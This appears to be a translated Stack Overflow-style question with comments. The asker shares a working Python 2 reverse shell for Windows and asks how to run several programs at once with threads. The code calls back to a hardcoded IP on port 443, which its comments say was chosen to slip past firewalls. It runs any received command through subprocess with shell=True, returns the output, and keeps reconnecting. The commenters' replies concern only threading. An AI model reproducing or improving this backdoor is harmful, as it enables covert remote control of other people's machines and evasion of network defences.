4
The code will be used in 2 testing virtual machines (Linux and Windows).
The code below works but every time I run a program, for example the notepad
, the prompt is stuck until I close the program.
How do I run multiple programs at once? I imagine it’s with Threads
, but I still can’t use the concept.
How can I do that?
#Apenas a parte Server que ficara em windows .
#A simple Reverse Concection in Python 2. windows
#client netcat: nc -lvp 443
import socket
import time
import subprocess #Executar comandos do SO
#criando a conexao reversa
IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada
def connect(IP,PORT):
#conectando a central de controle
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IP/TCP
s.connect((IP,PORT))
s.send('[!] Conexao recebida\n') # msg pra ver se foi conectado
#s.close()
return s
except Exception as e:
print('Erro de conexao',e )
return None
def listen(s):
##qdo o cliente nao esta escutando, da erro na conexao e fecha!. Nao quero isso. O server tem que ficar o tempo todo tentando ate conectar!
## versao 3!!!!!!!!!!
#versao 4 usa while True
##########loop infinito para receber comandos
try:
while True:
data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n}
#print(data)
if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n
s.close()#fechar conexao
exit(0) # 0 eh execucao normal/sem erros
else: #executar os comandos
cmd(s,data)
except:
main(s)
def cmd(s,data):
try:
proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
saida = s.send(proc.stdout.read() + proc.stderr.read())
s.send(saida)
#print(proc.stdout.read())
except:
main(s)
def main(s):
if s:
s.close()
while True:
s_connected = connect(IP,PORT)
if s_connected:
listen(s_connected)
else:
print("deu erro na conexao, tentando de novo!!!")##so pra debug
time.sleep(10)
#return 0 #nao precisa
s = None
main(s)
Does the program work? Can connect and run the command (
cmd()
)?– Miguel
It works. I ran c: windows Notepad.exe
– Ed S
@zekk , could you give me an example? I don’t know how to use threads...
– Ed S
@zekk, I haven’t got an answer yet, you could help?
– Ed S
@Eds The code Victor posted didn’t work?
– stderr
@zekk, unfortunately it didn’t work!
– Ed S
@zekk, thank you!
– Ed S
@Eds If possible delete some comments, to make this "space" more organized.
– stderr
@Miguel, can you help me out here?
– Ed S
Hello @Eds. It seems to me that this question already has good answers below. Where you need help?
– Miguel
@Eds Would there be more you want me to include in the answer? because the code I posted works as expected, at least for me here. :)
– stderr
@stderr, thanks for the excellent response!
– Ed S
@Eds Dispo. :)
– stderr